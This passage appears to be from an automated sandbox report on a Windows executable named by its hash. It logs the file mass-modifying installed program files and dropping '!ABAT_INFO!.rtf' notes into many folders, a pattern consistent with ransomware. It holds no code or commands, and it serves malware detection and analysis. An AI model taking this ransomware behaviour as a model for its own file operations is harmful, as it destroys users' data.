Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\VDK10.THD 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\ca.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Update\Install\{24604DAC-26A2-4023-B42D-9AEA602FC027}\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Maldives 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\about.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.metadataprovider.exsd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jvm_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Antarctica\DumontDUrville 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\South_Georgia 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\jawt.h 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Bucharest 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\js\ui.js 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\pl.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\GRAY.pf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Martinique 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\smtp.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.bindings_0.10.200.v20140424-2042.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Pohnpei 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\lv.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jmap.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\cmm\CIEXYZ.pf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Noumea 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santarem 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Sakhalin 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.components.ui.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.commands.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Antarctica\Casey 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\MST7 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\modules\dkjson.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Windows Mail\wabmig.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Tahiti 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-execution.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sampler_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-core.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\psfont.properties.ja 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Update\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\klist.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\javacpl.cpl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Regina 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-editor-mimelookup-impl.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\security\US_export_policy.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Majuro 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.registry_3.5.400.v20140428-1507.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\crashreporter-override.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Update\DisabledGoogleUpdate.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Winnipeg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\include\win32\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Lagos 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Puerto_Rico 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.directorywatcher.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\jamendo.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-1 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.operations.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-util-lookup_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\intf\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\asl-v20.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.jsp.jasper.registry_1.0.300.v20130327-1442.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.natives_1.1.100.v20140523-0116.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\RequestSearch.mpg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\tr.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\idlj.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\AccessBridgeCallbacks.h 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightItalic.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.update.configurator.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-coredump_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateOnDemand.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-5 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.addons.swt.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\jfr.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\CST6 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Khartoum 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\EET 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\com.jrockit.mc.rcp.product_root_5.5.0.165303 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-spi-actions_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-api-caching.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\win32_LinkDrop32x32.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\omni.ja 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Windows Mail\en-US\msoeres.dll.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jsadebugd.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\ECLIPSE_.RSA 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-api-caching_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\SetupMetrics\20200722114921.pma 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.extensionlocation.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\security\javaws.policy 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Paris 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\diagnostic-command-16.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\feedbck2.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\alt-rt.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Tallinn 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_150.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\browse_window.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423861240811.profile.gz 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Installer\chrome.7z 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\ij.bat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\dropins\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\deploy\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\EST 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.greychart.ui.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4-dark_mac.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-settings_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-api-annotations-common.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\manifest.json 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Javascripts\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\Setup.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423861240389.profile.gz 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_it.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Abidjan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\San_Juan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.transport.ecf.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.common_3.6.200.v20130402-1505.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Tbilisi 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification 